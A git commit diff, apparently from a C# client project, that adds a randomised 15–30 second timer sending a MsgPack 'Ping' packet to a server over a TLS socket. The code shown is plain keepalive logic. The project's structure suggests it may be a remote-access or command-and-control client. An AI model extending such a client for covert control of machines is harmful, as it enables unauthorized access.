Check if server is connected

This commit is contained in:
NYAN CAT 2019-06-17 13:37:58 +03:00
parent 1e94cca05d
commit 1eea7071b2

View File

@ -31,6 +31,8 @@ namespace Client.Sockets
private MemoryStream MS { get; set; } private MemoryStream MS { get; set; }
public bool IsConnected { get; set; } public bool IsConnected { get; set; }
private object SendSync { get; } = new object(); private object SendSync { get; } = new object();
private static Timer Tick { get; set; }
public TempSocket() public TempSocket()
{ {
@ -52,6 +54,7 @@ namespace Client.Sockets
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; Buffer = new byte[4];
MS = new MemoryStream(); MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
} }
catch catch
@ -75,7 +78,7 @@ namespace Client.Sockets
try try
{ {
// Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
Client?.Dispose(); Client?.Dispose();
MS?.Dispose(); MS?.Dispose();
@ -186,5 +189,13 @@ namespace Client.Sockets
} }
} }
} }
public void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "";
Send(msgpack.Encode2Bytes());
}
} }
} }